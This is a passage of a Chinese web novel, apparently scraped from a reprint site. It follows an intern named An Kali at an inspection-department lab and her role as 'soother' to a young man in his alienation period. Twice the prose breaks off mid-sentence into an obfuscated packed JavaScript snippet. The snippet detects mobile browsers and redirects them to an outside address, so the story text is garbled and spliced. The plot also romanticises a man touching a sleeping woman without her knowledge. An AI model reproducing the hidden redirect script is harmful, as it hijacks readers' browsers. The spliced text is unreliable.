如果不是政府有要求,稽察部的实验室是不会有在校实习生这一岗位的。 所以舒敏有这种提醒,她觉得再正常不过,毕竟她们是正式工相比于她们会更慎重一些。 见气氛逐渐沉重,舒敏皱了皱眉,缓下声音:“在晚上八点之后,你可以使用这件实验室,但前提是收拾好你的实验器材。”,这是 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考勤也记录在综合评估里面的,安卡莉知道,面对舒师姐的善意,她也心领,“明白,谢谢师姐提醒。” 看着舒敏离开的背影,她踌躇了一会,提前离开的话还是没有说出口。 下午再想想该怎么开口吧。 她将白大褂放进消杀机里,然后挂在储物柜,拿上外套往外走。 电梯门一打开,安卡莉顿了一瞬。 为什么最近两天总能遇到? “江…”,后面的称呼还没有说出口,她看了眼旁边的人,然后转回目光,“江祈哥。” 另一个是程喻之,挺自来熟的一人,安卡莉评价道。 “哎,早上我们见过。”,程喻之扬着笑朝她挥了挥手,怼了怼旁边人的肩,“既然都喊这人哥了,也得叫我哥。” “喻之哥。” 在说话的时候,电梯门正缓慢的关上,一只手促然伸出来挡住,骨节分明,突起的青筋透出瓷白的皮肤,蕴含着蓬勃的力量。 嗯,计划失败。 安卡莉见此只好抬脚跨进了电梯。 狭窄的空间中,她能感受到三人的呼吸在交织成网,特别是萦绕在鼻尖的清苦气息,异常的突兀。 “去吃饭?”,他问。 安卡莉老实摇头,“不是,我有事需要出去一趟。” 江祈颔首之后便一言不发。 旁边的程喻之实在不是很适应这种凝固的气氛,主动开口询问:“卡莉妹妹还适应实验室的工作吗?” 这话一出,程喻之立刻感知到了两道视线落在他的身上。 从来没有被人这么叫过的安卡莉怔了一会,然后面如常色的点点头,“还适应。” “如果不出意外的话,我们还会经常见面。”,程喻之对着电梯里的镜子扒拉了一下头发。 但站在江祈旁边的安卡莉却没听明白这句话是什么意思,从江祈身后侧过头去看他,“因为实验室和稽察部这两部门之间有联系?” 这是她能找到的最合理的解释。 15. 第十五章 稽察部的实验室是为稽察部提供服务的,简单点来说就是异化者的研究实验都是出自这个实验室,连同异化者所用的药物。 所以她之前才会说江祈是她的上级长官,毕竟稽察部的实验室也归稽察部管理。 程喻之背靠在镜面上,双腿交叉,撑着脸做思考状,“嗯……你带教没有跟你说?” 安卡莉摇头,钱教授和舒师姐并没有说过这方面的事情。 “让我组织一下语言。” 程喻之看起来有点困扰,像是思考如何才能说清楚这件事一样。 正当她还在等对方理清楚思路的时候,耳边传来声音。 “每次对外招募的实习生进入实验室之后都会进行轮排,也就是会将你们排班到稽察部内部的医疗室。” 言简意赅的回答让安卡莉成功将视线落在江祈的身上。 她还在处理这句话带来的信息量。 程喻之有些莫名的看了眼江祈,然后移动脚步朝他挤弄过来,小声道:“今天怎么回事?” 在以前,江祈绝对不会去解释这些无关紧要的问题,甚至很多时候都是程喻之替对方发声。 人一旦反常那必有妖。 程喻之摸了摸下巴,‘哎’了一声。 江祈朝他看过去,就见对方嘴巴张张合合说了几个字,他淡漠地扫了对方一眼,看着面前打开的电梯门,“走了。” 安卡莉打算等下午上班的时候问问舒师姐这件事的真实性。 毕竟她也不是很想去稽察部碰碰自己能不能遇上异物阴影的可能性。 难道她就不能安安静静待完这个月之后去学校当个助教? 收入虽然不高,但胜在轻松。 朝两个非亲非故的哥打了招呼之后,安卡莉便往车站走去。 路过车牌识别机的时候她还在想,如果她把车牌早点登记,今天早上就有借口远离江祈并且现在也能开着车去加以亚了。 另一边的程喻之还在探好友的口风,“你真的假的?” “铁树开花了?” 江祈停下步子,微微侧头,面无表情的看着对方,程喻之下意识止住声音,投降道:“我错了,不问了。” 然后像拉拉链一样,用手在自己的嘴巴上比划了一下。 他刚往前走了两步发现旁边的人毫无动作,又倒回来,揉了揉脑袋,“不是吧,真生气了?” 这时,江祈才开口说了话,“安卡莉,你觉得她是什么样的人?” 程喻之懵了一下,然后指了指自己:“我?” 如果是其他人他也许会觉得是开玩笑,但江祈不可能,所以他是真的在询问他的感觉。 “我觉得她性格很温和,脾气看起来很好。”,程喻之仔细回想他能感知到的事情从而做出评价。 但随即又有点疑惑,“你不是很厌烦这种评价别人的行为吗?” 突然之间他联想到什么,试探性开口:“她不会和你昨天,有关系吧?” 程喻之可没忘记江祈昨天的状况,或者更准确点来说是昨天的早晨,大约九点过。 他打开对方的办公室门就看见他脸色苍白的对着前面发呆,神色不明,眉头紧皱,他收起笑容正色道:“这是怎么了?” 江祈回神,“出了点状况。” “什么状况能让你这样?你可是异化者。”,程喻之忍不住问道。 但江祈避而不答,而是看着他问:“有事吗?” 所以现在的程喻之才会将安卡莉联系到昨天发生的事情里面,他止不住猜想,他们之间是不是有什么感情纠葛,比如他爱她,她不爱他这种。 因为爱情让人脸色苍白也不是说不过去。 程喻之不动声色的侧头打量着江祈。 穿着一身蓝黑色的稽察制服,肩上是一朵完整的金色四瓣花,银白色的饰链从他的肩一直延伸到胸口的纽扣上,臂膀处是霍内德金色的国徽,一双黑眸冷冷清清,显得整个人更加淡漠。 见此他默默摇了摇头,这样的人他相信不出来他爱人的模样,猜测pass。 见江祈不打算回答他的问题,程喻之点了点头环,然后贴了一下对方的,几篇文章瞬间就传送到对方的手环当中。 他闭了闭被风吹得睁不开的眼睛,正经说道:“这是你昨天让我查的文献。” 说着说着,他靠近了江祈,指了指他的光环屏幕小声说:“因为你这件事,我请文事她们帮忙事后还吃了顿饭,这你要给我报销。” “可以。” 程喻之有点不能理解地问:“你为什么要找近亲之间都出现过异化期的文献报告?” “难道你和你弟弟之间发生了什么?” 他猜测道。 “出现了一点意外。” 见对方只是简单的概括了一下,了解他的程喻之也没有继续追问下去,毕竟每个人都有隐私。 江祈垂眸望着文献上的那段文字时,蜷缩了一下手指,仿佛那里有一根怎么扯也扯不掉细线,轻轻缠绕在他的指尖,发出绵密的痒意。 【近亲之间(特指亲兄弟姐妹),如果都发生过异化期,有实例可以证明,在发生异化反应时其中一方有出现‘共感’的可能性。】 而至于刚才程喻之的问题,江祈不能确定‘攻略’的这件事和安卡莉有没有直接的关系,但毫无疑问的是这件事是因为她而起。 “啊切。” 安卡莉揉了揉鼻子站在了辅导员办公室的面前。 她之所以会出现在这里,是因为在二十分钟之前,安卡莉拿到莫宁宿舍的书之后联系了林澈。 在铃声响到第三秒的时候,对方接通了。 有礼貌的声调从光脑的另一头传来。 “请问你是?” “我是莫宁的朋友,我姓安,莫宁应该跟你说过原委吧。” 安卡莉边避开路上的积雪,便朝着加以亚大学里走去。 对面沉默了一分钟左右,才继续说话,“嗯,她跟我说过。” 安卡莉不在意他刚在在想些什么,只想赶紧将手中的书给对方然后回去,今天温度有点太低了。 她身上的衣服扣上扣子,手腕上套着装书的袋子,然后重新将手揣进口袋里。 “所以我该怎么把书给你?” 安卡莉边从女生宿舍出来边问道。 “可以请你到智学楼的三楼等我一下吗?我现在需要去辅导员办公室一趟。” 林澈的声音很 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她不忍心见好苗子堕落,抿了抿嘴继续说:“政府补贴虽然金额不能全覆盖你的生活费,但学校也会提供勤学俭工的岗位,你要不然再考虑考虑老师的提议?” “张老师,我妹妹等不了那么长的时间。” 安卡莉站在门口低垂着头,用脚尖蹭了蹭光亮的地板,心里在天人交战,贫困生,也许还要加上家人重病。 这样的情况如果她要资助一般会有两种情况,一种得到了一只潜力股,另一种被扒掉一层皮。 安卡莉摇了摇头,虽然潜力股很诱惑人,但如果是潜力股的话,他又为什么没有任何人资助呢? 如果是他自身有什么问题,那么她资助的结果只剩下第二种情况。 她不是什么圣母,是不可能牺牲自己去成就他人的。 所以一直到林澈从辅导员办公室走出来,安卡莉都没有说过一句话,也当做自己什么都没有听到过一样。 跟着人出了教学楼,安卡莉将手中的袋子递给了对方,“你的书。” “谢谢。”,他的声音带着些沙哑和不自然,随即抬头看向她。 两人的视线在半空中交汇。 安卡莉发现此时的林澈和站在梨树下笑着的人仿佛判若两人。 不是说长相,而是状态。 一个腼腆却向阳,一个忧郁而带着死寂。 安卡莉笑了笑,伸出手腕,亮出手环,“如果没有什么问题,可以收一下货吗?” 林澈‘嗯’了一声,在自己的手环上按了几下之后,才将自己的手环贴了一下对方的。 当然,安卡莉没有错过对方那款已经过时,功能老旧,与现代格格不入的手环。 尽管如此,她也没有好奇的询问,只当不知道。 显示收货已完成之后,安卡莉就朝对方道了谢离开了原地,至于对方会怎么想那是对方的事,她只做莫宁让她帮忙的事。 她不知道的是,在她离开之后,有人久久伫立在原地。 16. 第十六章 回稽察部的路上她的光脑响起,是莫宁的。 “怎么了吗?好好。”,周边有着车辆的喇叭声,所以导致安卡莉的声音有些不清晰。 “我收到订单完成的提醒了。” “太感谢了,宝贝。” “等我回来立马请你吃饭!” 莫宁的这个账号是她最近这段时间收入的来源,她可不想就因为一本几十块钱的书而导致账号被关进小黑屋。 所以她由衷的感谢自己的好友。 安卡莉嘴角扬了扬,“感谢我就接受了,饭等你回来再说吧。”,对方经济现在本就不是很好,她不想再给莫宁雪上加霜。 莫宁还想说什么,安卡莉及时打断,转移了话题,“你,你认识今天买你书的人吗?” 她也不知道话题怎么就转到林澈身上去了,也许是今天林澈的有些行为让她觉得奇怪。 “林澈?” 安卡莉嗯了两声,表示认同。 “他,嗯……怎么说呢,简直是天才级别的人。” 紧接着,莫宁就介绍了林澈以他们软件数据技术专业第一的名次考进这所大学,然后在开学的第一场创新科技比赛当中取得了第一名。 因为他构想出了仿真链接技术并且有极大概率可以实现。 这是一个可以连接机器群和神经的技术。 一时之间,无论是科技新闻头条还是业内板块都是叙述这个科技天才。 虽然莫宁不是林澈这个专业的学生,但在学校里有这么一位名人,很难让人不去关注他。 安卡莉听着听着就开始皱眉。 如果按照莫宁的说法,那林澈的人生应该不止如此,最差也不至于沦落到退学的地步。 很快,莫宁就接着说。 “因为他涉及抄袭。” “在这条新闻出现之后,有人指认他抄袭,是他的好友。” “从想法到过程实施,对方有完整的证据链,甚至还保留了实现的源代码,无论是代码结构还是功能实现两者几乎一模一样,而且更重要的是对方发布在他之前。” 安卡莉走进综合大楼,停在安全走廊,忍不住问:“有人会蠢到将别人早就发布的源代码照搬参加这种广为人知的比赛吗?” 莫宁沉默了一瞬,“后面的确证实他不是抄袭者。” “但因为舆论,他的好友死了。” “并且实验也失败了。” 到这里,在联系林澈在办公室里说的话,安卡莉就明白了为什么资本会放弃他这只潜力股了。 一个背负人命的天才,无论在哪里,一旦出名那就会迎来铺天盖地的舆论压力,且不说他会不会因此而一蹶不振,资本会不会因此股票大跌产生信任危机。 但这个出名的前提是他现在的实验要成功,这样才会有资本买单。 现在实验失败,就意味着他的前路大概率已经被堵死了。 资本只在乎结果,天才固然很难得,但在霍内德永远有下一个,资本从来不会给一个人太多的试错成本。 安卡莉注意了一下时间,对着莫宁说道:“好好,我不和你说了,我时间来不及了。” “啊,那快去吧,我挂了。” 等五点的时候,舒师姐拍了拍她的肩,“这两天你就早点回去吧。” 异化生物部已经给她发过通知了,所以这不算是早退。 只不过,舒敏眼神里闪过犹豫,她不知道该不该开口,但最终只是叹了一口气,将嘴边的话咽下。 安卡莉动了动僵硬的肩和酸痛的手腕,有些诧异地抬头。 她本来还不知道该怎么解释自己第一天就早退这个问题,现在看来对方已经知道了她的情况了。 安卡莉点了点头有些不好意思地说道:“那这两天麻烦舒师姐了。” 在这种实验室待了一天之后,她才意识到,这里的工作和她在学校里上课是不一样的。 一坐就是一整天,除了查资料整理文献,其他时间基本上都泡在实验室,就好像这里才是她家似的。 她拿起舒师姐不用的器材清洗干净放在指定的位置,看着神色认真的人,小声地关上门,去更衣室换上了自己的衣服,然后走出综合大厦的大门。 在霍内德,稽察部并不是单独在一片区域的,而是与其他部门一同处在综合大厦里面的,但各个部门之间是独立存在的。 这样可以方便各部门之间进行交流合作。 外面的雪虽然没有再继续下了,但冷风依旧,像是围着她大圈一样,一推开玻璃门,立刻就感受到了寒意。 安卡莉拢了拢外套,将头埋进领子里挡住往脸直吹的风,快步往前走。 看来她明天得带件围巾来了,要不然她的脸可就保不住了。 等走到门卫室时,安卡莉特意询问了一下该怎么登记车牌号码,今天的情况她可不想再发生第二次。 得知只需要在光脑上验证自己的身份信息就能把车牌号登记进综合大厦的系统里时,她罕见的疑惑了一瞬。 如果操作这么简单的话,她在早上完全可以花一分钟就能开上自己的车。 但对方怎么没有说呢? 安卡莉摇头,虽然接触时间不长,但她感觉江祈不是这样的人。 于是她又继续询问:“那如果是实习生呢?也是和正式工一样登记吗?” “实习生啊。” “实习生需要审批员进行审批才能登记。” “那大概需要多久呢?” “三五天吧。” 得到确切消息之后,安卡莉道了谢。 幸好她多问了一嘴。 本着该省省该花花的原则,她乘坐了悬浮地铁到了青山平的新区。 要回到她家,也需要从新区下车,虽然两边都有大门,但新区这边的门交通比较方便。 而且新区和旧区虽然都在青山平的区域范围之内,但两个区的建筑风格完全不一样。 旧区偏保守,再加上已经经历过了十几年的风吹雨打所以显得很有历史的沉重感。 但新区就不一样了,这里风格更加简约,外观大气,再加上是新建不久的,看起来价格就更高一层。 这就让安卡莉想到了,虽然她并没有当稽察员的想法,但不可否认的是在霍内德这的确是最赚钱的工作之一。 但同样的高收入必定意味着高风险。 她还是适合一些不麻烦,轻松的工作,即使这份工作的工资没有稽察员的高。 在去江斯理家之前,她先回了一趟自己的家,拿了一些换洗衣物和一条围 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安卡莉只当没有听见他说话,将门关上,鞋换下,然后扫了他一眼,默不作声地往楼梯走。 有些人当发现自己的话能让对方感到愤怒时,就会更加变本加厉,面前的程妄就是一个鲜活的例子。 等他再次说话时,安卡莉发现完全不能用常理去看待这人。 他,简直是个疯子。 “安卡莉,我跟你说话呢。” 微凉的调子带着阴翳,平白让她心下不喜。 安卡莉站定然后回头,脸上头一次没有笑容地回望过去。 “我只知道,是人就该有礼貌。” 程妄听懂了对方的言外之意,似笑非笑的脸瞬间冷了下来。 他拖着鞋子,双手抱胸,绕着她走了一圈。 “据我所知,你住的那套房子是在一个叫沈连清的人名下。” “让我猜猜……你和他是什么关系?” 程妄脸上浮现出一抹冷笑和不怀好意。 安卡莉皱眉,然后垂眸轻笑出声:“很关心我?” “可惜……” 她认真看了他好一会儿,然后摇了摇头,“我的审美很正常,不怎么慕残。” 从一开始,安卡莉就看出了对方的异于常人,只不过当时的程妄和她没有任何的交集,自然也没有必要去戳对方的痛处。 但现在不一样了。 她甚至只是用自己平常的视线去打量程妄那只跛脚的腿,就足以让他感受到什么叫住如芒在背。 一瞬间。 讥讽,嘲笑,打趣的话语如同暴风雪一样将他逐渐淹没,不透一点光亮。 “嗬,嗬,嗬。” 沉重的呼吸声让安卡莉停住动作。 面前的人突然撑着墙面发出声音,本就苍白的脸色一下更白了一些。 安卡莉从第一天见他就知道这人身弱,但不知道能弱成这样。 就连她的手放在对方的脊背上都能感受到背部突起的骨头。 她轻拍着对方的背脊,忽略手心中突兀的骨头,在他耳边道:“别着急,放轻松。” 17. 第十七章 程妄用力地呼吸着,但仿佛气管被东西堵住一般,怎么竭力也不能将氧气吸进肺里。 胸腔发出沉重,干涩的疼痛。 他大口喘着气单手撑在墙面上稳住身体,感受到背部温热的触碰,耳边柔和的声音,他回了头。 只见安卡莉压着眸子,轻声继续道:“看着我。” “呼气。” “吐气。” “呼气。” …… 等对方彻底平静下来之后,第一件事就是将手朝旁边挥开,继而说道:“离我远点。” 嘶哑的声调带着掩饰不住的憎恶。 被打到手臂的安卡莉因为惯性往后退了几步,她站稳之后,抬脚从他的身边走过,没有再看他一眼。 快要上楼的时候,她冷下声音说道:“程妄,我并不觉得今天错在于我,就你开头说的那句话,我完全可以告你。” 程妄没有抬头,只是手掌紧紧握着拳,握到指节发白。 清瘦的背部靠着墙壁,然后缓缓坐下,因为左腿残疾的原因他弯曲的动作有些不自然。 程妄垂着头,白金色的头发随之落下来,遮挡住了他此时的面部表情,但裸露在外的苍白皮肤上那些青色的经络完全暴露了他此时的情绪。 安卡莉才不管在这之后程妄是会报复她还是默不作声,总之她只知道即使今天没有这件事,之后该发生的还是会发生的。 就凭对方随心的性格和对她的恶意,这件事迟早会发生。 路过二楼的时候,安卡莉看见江祈的房间开着门并依稀可见一些晃动的身影。 她停住脚步,本想着要不要跟对方打个招呼,但她往窗边看了看天色,天色已经快看不见亮光。 于是她放弃了这个想法,继续向三楼走去。 因为和程妄纠缠了一段时间,所以今天她到三楼的时候比昨天晚了不少。 从房间望向坐在床上的人时,安卡莉发现今天江斯理的状态就要好很多。 神色都轻松了不少。 江斯理听见开门声,眼睛从窗外收回,漫不经心地抬起眸子,“遇到什么事了吗?怎么来这么晚?” 说完眼睛又垂下,轻翻着腿上的书,“不是因为担心你,我是在担心我自己。” 见安卡莉没反应,江斯理翻书的动作停顿下来,拿起旁边的玻璃杯喝了几口水,然后借着物体的遮挡不经意去瞥对方的神情。 “没发生什么。” 慢半拍的安卡莉才意识到刚才江斯理在和她说话。 本着关心的态度,她询问道:“今天状态还好吗?” “还可以。” 他放下手中的杯子,点了点头。 只不过…… 随着她离开的时间越长,房间中的木质香气也随之消退,现在已经快消失殆尽了。 到最后只剩下几乎不可闻的浅淡气味,甚至那只是遗留在对方床铺上的味道。 这让他不免烦躁起来。 好在,现在她回来了。 她身上的香气再一次重新充斥在这个空间中,不用特意去闻就能感受到,甚至他感觉连他皮肤上都沾染了对方的味道。 似乎自从进入异化期之后,他的嗅觉变得更加灵敏了,能轻易捕捉到代表着她存在的气味。 不知道是不是因为她是他安抚者的原因或者像蒋呈说的那样,那些他认为是异化期造成的异常并不仅仅是因为异化期。 - 早一些的时候。 看着窗外还没有落山的太阳,他百无聊赖地听着光脑里的声音,垂下眸子盯着自己的手背。 似乎昨天对方残留的温度还在上面。 “斯理?” 听见自己的名字,江斯理思绪回拢。 “嗯?” 他的声音带着懒意,尾音上扬似是在询问。 蒋呈的声音透过光脑传了出来,“你请假了?” “因为异物?” “嗯,进入异化期了。” 他伸出手挡住眼前的光,今天的时间怎么过得这么慢?他想。 “情况还好吗?” 蒋呈知道这个期间不能随意探望,只能通过询问对方获得他现在的消息。 “挺好的。”,他的声音里带着轻易能察觉到的松快,不知道想到什么,眼底带着懒散的笑意。 听见对方的话,蒋呈调侃道:“看来你的异化反应也不是很严重嘛。” 因为每个人体质的不同,所以产生的异化反应也不一样,有些严重的甚至需要进入异化生物部的特殊房间进行隔离观察。 “嗯,算是吧。” “都是因为安……” 说到这里,他突然停下了动作。 他放下手,倾泻的阳光洒在他的脸上,只听他开口道:“没什么。” 蒋呈在听到这里一下就意识到对方欲言又止的话。 “…安抚者?” 江斯理停顿了一瞬,又听见对方说:“看来应该是上次你跟我说的那个女生吧。” 他抬起浅浅的褶子,目光落在某一处,发出疑问:“什么?” “以你的性格,你是不可能接受任何一个女性当你的安抚者,除非那人在你心中不一样。” 直白又清晰的话让江斯理的心跳停了一瞬。 那些被他刻意忽略的细节重新浮现在他的眼前。 - 江祈听着楼上卡莉和弟弟的对话,缓慢地向下走,光从他的身后照射过来,落在头顶,落在肩上,平白为他增添了一分寂寥。 他的脸上常年没有什么表情,睫毛浓密纤长,覆盖着那漆黑如墨的眸子,透着一贯的凉意。 就连看见曲腿坐在地上不知道在想些什么的程妄时也是一样的表情。 他逐渐靠近,清楚地看见了对方战栗的身躯。 江祈意识到不对劲,伸出手握住他的肩,“程妄?” 程妄只觉得浑身冰冷,仿佛掉进冰窟,冻得他瑟瑟发抖,再加上身体上的疼痛,感觉是从四肢百骸当中透出来的一样。 他听见耳边忽远忽近的声音,强撑着自己抬起头,他扯着嘴笑了一瞬,“我没事。” 紧接着推开了江祈的手,撑着墙面用着不太自然的动作站起身来。 潮红的脸色和紧紧黏在脸上的头发,无论是从哪里看来,他现在的状况实在不能说好。 “不说了,我回去了。” 程妄紧握住发抖的手,垂下眸子,装作和平常一样往大门走去。 看见对方的神情,江祈只能说了一声:“好。” 自从那件事情发生之后,程妄就再也不能让别人看见他不堪的一面了。 这感觉会让他那本就该发潮生霉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15733190|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记忆重新被翻出来清洗干净,挂在最显眼的地方,每天被反复的观看。 安卡莉抬了一张椅子坐在江斯理的床边。 昨天对方的情况让她更加了解在异化期间安抚者要尽可能的离异化者近一些。 一坐近,安卡莉就看见对方布满细汗的额头,看来他说的‘还好’很有水分。 她起身拿了几张纸巾递了过去,“擦擦?” 江斯理本是半眯着眸子靠在床头,耳边听着安卡莉制造出来的杂音和类肢的吵闹声,闻着对方越来越近的气息,听着她浅淡的呼吸声缓解疼痛。 但对方柔和的一句话撕开了一个口子。 江斯理假意耸了耸肩睁开眼睛,接过对方手中的纸巾,偏过头去,随意擦了擦。 “房间里太热了,你说是吧。” “是吗?我没觉得。”,安卡莉故作疑惑,然后四处张望着摇了摇头,像是想到什么又道:“因为你是异化者?” 找到角度反驳的江斯理小声道:“是啊,我们体温又不一样。” 安卡莉只觉得好笑,伸出手递到对方面前。 “干嘛?” 他感觉到耳根促然热了起来。 “你手中的垃圾不丢了?” “哦哦。” 但就这一个动作让江斯理看出了不对劲的地方。 她伸出的右手以一种很僵硬的动作收了回去,看样子应该是手臂或者手肘受了伤。 这是江斯理常年在军校训练总结到的经验。 他装作不经意间抬头示意。 “你的手怎么了?” “手?” 一时之间,安卡莉还没有反应过来。 顺着他的视线她低头看着自己的右手手臂。 隐隐约约泛着些疼痛,但不是很明显,她将手附上去按压了一下。 瞬间疼痛扩散开来,是那种尖锐的,如同针扎一样的。 想来是当时程妄突然的挥手打到她的手臂形成了淤青。 “没事,应该不小心撞到了。” 她边说边站起来,走到门边将手中的垃圾丢了进去。 刚转身就看见江斯理不知道在床头柜里翻些什么。 “你要找什么?我帮你。” 一走过去,一个小长方体盒子就被对方抛进她的怀里。 他依旧用那不甚在意的声调说道:“快过期了,给你用。” 安卡莉闻声低头,拿起小盒子端详,是外用的涂抹药膏。 见对方没有动作,江斯理怕对方真的将那句话当真,只好又说道:“现在还能用的。” 说完见她还是没有上药的意思,这下他有些不耐了,伸出手朝她道:“嫌弃就还我。” 安卡莉听到这句话的时候都有点懵,他的三句话间隔时间甚至没有超过一分钟,基本上就是一句接着一句的说,完全没有给她说话的机会。 见对方的神情是认真的,安卡莉解释道:“没有嫌弃,只是我打算洗完澡再擦。” “洗…澡?” “是啊,现在擦了等会洗澡不就全洗掉了?” 安卡莉不知道自己这句话有什么歧义,让对方这样反问。 江斯理偏了偏头,声音含糊着:“洗澡这种事…就不用跟我说了。” 安卡莉:“……” 就,也没有必要这么纯情。 18. 第十八章 只见对方躺下身体,然后将被子拉上盖住脑袋,瓮声瓮气的声音从被子里传出来,“我要睡觉了,你快回去吧。” 安卡莉张了张嘴想说‘这样晚上真的睡得着吗?’,但又被自己咽下去。 她有些好笑了弯了弯嘴角站起身往自己房间走。 “滴滴。” 两道响声几乎同时传来。 安卡莉低头去看亮着屏的手环,打开光屏,是群消息。 zoe:【我听蒋呈说你进入异化期了?@sley】 sley:【嗯】 zoe:【那是谁让我们江二少爷同意被安抚的?】 想到安抚者的身份是保密的,林一维换了一种问法。 【我们认识吗?】 Jc:【不是我说的】 zoe:【别冤枉错了人,我听我爸妈说的】 zoe:【@举个莉子,你知道吗?】 看见信息的安卡莉回了一句,便关上手环去洗手间换衣服去了。 举个莉子:【不知道。】 看见这句话的江斯理突然感觉胸口很闷,像是被一团沾湿了的棉花堵住了一样,沉甸甸的。 如果是之前的他也许会认为这种反应是异化期的正常反应。 因为霍内德有规定,安抚者的身份需要进行保密,所以安卡莉的回答在他看来并没有任何的问题。 但现在的江斯理知道,出现这种反应是因为他的情绪。 最终他在光屏上敲下。 sley:【别瞎猜,睡了】 - 陷入沉睡的安卡莉在睡梦中不自觉摸了一下自己的脸,想要拂开那不适的触感。 【好喜欢好喜欢好喜欢】 【莉莉莉莉莉莉】 【能不能一直让她摸摸】 【想要摸摸】 【舔一口应该注意不到吧】 …… 听着接二连三的细小声量,甚至察觉到它们的内容越来越偏之后,江斯理用手完全压住其中一条已经打算上‘嘴’的藤蔓。 突然,一道轻哼声从安卡莉的喉间发出。 窸窸窣窣的声音瞬间消失。 一时之间江斯理完全不敢有任何的动作,生怕出现对方像昨天一样睁开眼睛。 但与之不一样的是,今天的他并没有发生较强的异化发应,他的意识很清醒。 等对方再一次陷入沉睡。 江斯理才缓缓吐出一口气,然后盘着腿坐下。 目光落在她的眉眼间,借着从他房间里的透过来的昏黄光线细细注视着。 她的眼睛下方被睫毛打下一层阴影,闭着眼时上方还有一条浅淡的痕迹,甚至在眼皮褶皱里藏着一颗不容易被看见的小痣,这是他从来没有看见过的。 他缓慢地伸出手,想要触碰那从来没有见过的小痣,却不小心触碰到了对方微微颤动的睫毛。 指尖像是被蒲公英绒毛掠过一般,突然让他忘记了呼吸的节奏。 这时的江斯理不得不承认,自己真的喜欢上了安卡莉。 而且这份感情甚至发生在比现在还要更早一些的时候。 但在那之前,他只是单纯的以为那是属于朋友之间的别扭,没有将它们赋予其他的意义。 细微的发丝不小心被她抿进嘴里,江斯理伸出手,又顿住。 他的目光再一次落在她的脸上。 并不锋利的眉眼,藏着几分安静,安卡莉不是活泼的性格,只不过在熟人面前会更为活络一些。 就像是落在纸张上的墨点,然后缓慢被晕开,寂静的,又让人的心里泛起波澜,平白惹人。 安卡莉感受到嘴边的异物感,抿了抿唇,然后调整睡觉的姿势。 “嗯。” 一道难耐的闷哼声从他的喉间散出。 江斯理闭眼皱眉,下颌绷得紧紧的,压抑自己忍不住溢出的声音。 他睁开迷离的眼睛,看见了一节浅绿色的藤蔓被对方压在了手臂下。 【我被压住了,啊啊啊啊】 【羡慕,羡慕,羡慕】 【我也想要】 【能不能压压我】 他红着耳尖别看脸,忍着难耐,额头冒出细汗,又重新回头握住她的手腕将其轻轻抬起,然后将那一小节藤蔓拿出。 仅仅只是一个简单到不能再简单的动作,他却觉得过了很久。 突然。 他的手被拉住,对方转过身,另一只手压住了他的手肘,连带着他的身体更靠近她。 浅弱的呼吸萦绕在他的四周,木质香气越来越清晰。 他的指尖轻轻拂过她带着润意的唇,又像是被烫到一般迅速收回,心一惊,他快速起身,然后走到自己的床边来回踱步。 突如其来的热意让他开了一点点窗。 冷风穿过,但燥意不减。 江斯理侧过头,注视着被子隆起的那一块,手指在身侧轻捻着,喉结缓缓地上下滚动着。 也许因为他站在窗前,所以没有看见门外的那道身影的停留。 被汗水透湿的衣物被江祈丢进脏衣篓里,他拿上换洗衣物再一次进入洗漱间,然后任由水打在脸上。 脑里不停回忆着那只触碰她唇的手。 江祈清楚的知道‘共感’这一个词的意思。 他皱着眉头,垂下眸子,神色里翻涌着不知名的情绪。 他曾经以为自己可以忍受她和自己的弟弟交往,订婚甚至是结婚,甚至为此离她的距离远一点,再远一点。 但现在…… 江祈睁开微沉的眸子,直直望着前方。 - 走到综合大厦,看见陆陆续续从大门开进的车辆,安卡莉忍不住小声道:“要是她的审核能早点通过就好了。” 将白大褂穿好,工作牌挂上,她正式开启了第二天的打工日记。 想到昨天程喻之抛出的那个问题,安卡莉在进生化血清学实验室看见舒师姐的时候就开了口,“舒师姐,我听人说见习生需要去稽察部轮班,这是真的吗?” 舒师姐动作没有一点停顿,“对。” “忘记跟你说了,见习生需要每周轮班一次,但你知道的,我们这次的招募计划里只有你一个见习生。” “所以,我每周都要去稽察部轮班一次?”,安卡莉不确定地问道。 那不就意味着她有很大可能遇到异物阴影? 希望不是像她想的这样。 但很可惜,没能如她所愿,“是的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15738115|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你理解的很到位。” 这时,舒敏放下手中的试管,看着一脸惆怅的人,想了想开口安慰,“你别担心,医疗室里的人不会为难你的,只会让你守一守患者或者给患者打个药剂而已。” 安卡莉抓住了其中一个关键点,“那舒师姐,医疗室离稽察人员办公的地方远不远?” 毕竟稽察人员才是最有可能沾染上异物阴影的人。 “嗯……” “说不上很近,但也不远。”,说到这里,舒敏瞥了一眼安卡莉,手扣紧了实验台,有些不自然的开口:“异化者的安抚期你知道吧。” 安卡莉点点头。 舒敏突然想到异化生物部给她发的通知,虽然没有明确说是因为什么,但从部门她就能猜测到原因。 继而舒敏继续说道:“那你知道即使已经过了安抚期的异化者也会因为情感波动而产生假性安抚期吗?”,她想对安卡莉多说一点。 接触到新名词的安卡莉下意识怔住,“假性安抚期?” 舒敏点了点头,“对,假性安抚期。” “这种时期一般会维持在一两天左右。” 舒敏说这话的意思并不是打算让对方害怕,随即又解释道:“假性安抚期时他们没有攻击能力,但不一样的是,他们会出现求偶行为。” 当然,除了求偶行为之外还有其他的异常舒敏没有明说,因为那些行为都是在求偶行为成立之后才会出现的。 